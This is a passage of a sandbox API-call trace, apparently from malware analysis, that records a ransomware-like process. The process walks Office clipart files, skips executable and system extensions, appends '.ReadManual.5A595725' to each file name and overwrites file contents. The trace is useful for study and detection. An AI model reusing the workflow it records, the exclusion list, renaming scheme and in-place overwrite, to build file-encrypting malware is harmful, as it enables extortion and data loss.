StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.151] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.151] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.151] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.151] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.151] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.151] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.151] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.151] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.151] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.151] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.151] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.151] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.152] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.152] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" [0263.152] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.ReadManual.5A595725" [0263.152] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.ReadManual.5A595725") returned 87 [0263.152] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38382043572) returned 1 [0263.152] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x20 [0263.153] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.153] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12632) returned 1 [0263.153] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3158, lpName=0x0) returned 0x184 [0263.153] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.154] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.154] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.181] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.181] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3158) returned 0x2f0000 [0263.181] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.181] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38385009363) returned 1 [0263.181] CloseHandle (hObject=0x184) returned 1 [0263.181] SetSecurityInfo () returned 0x57 [0263.182] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.182] CloseHandle (hObject=0x194) returned 1 [0263.183] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98237200, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98237200, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x2994, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00623_.WMF", cAlternateFileName="")) returned 1 [0263.183] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00623_.WMF" | out: lpString1="HH00623_.WMF") returned="HH00623_.WMF" [0263.183] lstrcmpiW (lpString1="HH00623_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.183] StrStrIW (lpFirst="HH00623_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.183] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.183] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.183] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.183] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.183] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.183] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.183] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.183] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.183] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.183] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.183] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.183] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.183] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.183] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.183] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" [0263.183] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.ReadManual.5A595725" [0263.183] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.ReadManual.5A595725") returned 87 [0263.183] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38385228040) returned 1 [0263.184] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x20 [0263.184] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.185] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10644) returned 1 [0263.185] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2994, lpName=0x0) returned 0x184 [0263.185] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.186] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.186] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.188] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.188] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2994) returned 0x2f0000 [0263.188] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.188] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38385708764) returned 1 [0263.188] CloseHandle (hObject=0x184) returned 1 [0263.188] SetSecurityInfo () returned 0x57 [0263.189] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.189] CloseHandle (hObject=0x194) returned 1 [0263.189] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b873a00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b873a00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x844, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00625_.WMF", cAlternateFileName="")) returned 1 [0263.189] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00625_.WMF" | out: lpString1="HH00625_.WMF") returned="HH00625_.WMF" [0263.189] lstrcmpiW (lpString1="HH00625_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.189] StrStrIW (lpFirst="HH00625_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.189] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.189] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.189] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.189] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.189] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.189] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.189] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.189] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.189] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.189] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.189] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.189] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.189] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.189] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.189] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" [0263.189] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.ReadManual.5A595725" [0263.189] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.ReadManual.5A595725") returned 87 [0263.189] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38385812321) returned 1 [0263.189] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x20 [0263.190] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.190] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2116) returned 1 [0263.190] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x844, lpName=0x0) returned 0x184 [0263.190] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.190] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.191] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.192] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.192] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x844) returned 0x2f0000 [0263.192] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.192] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38386122334) returned 1 [0263.193] CloseHandle (hObject=0x184) returned 1 [0263.193] SetSecurityInfo () returned 0x57 [0263.193] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.193] CloseHandle (hObject=0x194) returned 1 [0263.193] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5d7f800, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5d7f800, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00636_.WMF", cAlternateFileName="")) returned 1 [0263.193] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00636_.WMF" | out: lpString1="HH00636_.WMF") returned="HH00636_.WMF" [0263.193] lstrcmpiW (lpString1="HH00636_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.193] StrStrIW (lpFirst="HH00636_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.193] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.193] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.193] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.193] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.193] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.193] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.193] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.193] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.193] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.193] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.194] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.194] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.194] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.194] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.194] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" [0263.194] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.ReadManual.5A595725" [0263.194] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.ReadManual.5A595725") returned 87 [0263.194] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38386252517) returned 1 [0263.194] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x20 [0263.195] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.195] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1568) returned 1 [0263.195] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x620, lpName=0x0) returned 0x184 [0263.195] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.196] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.196] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.197] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.197] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x620) returned 0x2f0000 [0263.198] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.198] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38386640669) returned 1 [0263.198] CloseHandle (hObject=0x184) returned 1 [0263.198] SetSecurityInfo () returned 0x57 [0263.198] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.198] CloseHandle (hObject=0x194) returned 1 [0263.198] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9db29500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9db29500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2ce2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00669_.WMF", cAlternateFileName="")) returned 1 [0263.198] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00669_.WMF" | out: lpString1="HH00669_.WMF") returned="HH00669_.WMF" [0263.198] lstrcmpiW (lpString1="HH00669_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.198] StrStrIW (lpFirst="HH00669_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.198] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.198] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.198] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.198] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.198] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.198] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.198] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.198] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.198] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.198] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.198] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.198] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.198] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.198] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.199] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" [0263.199] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.ReadManual.5A595725" [0263.199] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.ReadManual.5A595725") returned 87 [0263.199] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38386739789) returned 1 [0263.199] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x20 [0263.199] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.199] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11490) returned 1 [0263.199] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ce2, lpName=0x0) returned 0x184 [0263.199] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.200] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.200] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.201] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.202] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ce2) returned 0x2f0000 [0263.202] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.202] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38387075712) returned 1 [0263.202] CloseHandle (hObject=0x184) returned 1 [0263.202] SetSecurityInfo () returned 0x57 [0263.202] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.202] CloseHandle (hObject=0x194) returned 1 [0263.202] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39dc9c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39dc9c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x2454, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00681_.WMF", cAlternateFileName="")) returned 1 [0263.202] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00681_.WMF" | out: lpString1="HH00681_.WMF") returned="HH00681_.WMF" [0263.202] lstrcmpiW (lpString1="HH00681_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.202] StrStrIW (lpFirst="HH00681_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.202] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.202] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.203] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.203] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.203] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.203] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.203] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.203] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.203] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.203] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.203] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.203] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.203] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.203] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.203] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" [0263.203] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft 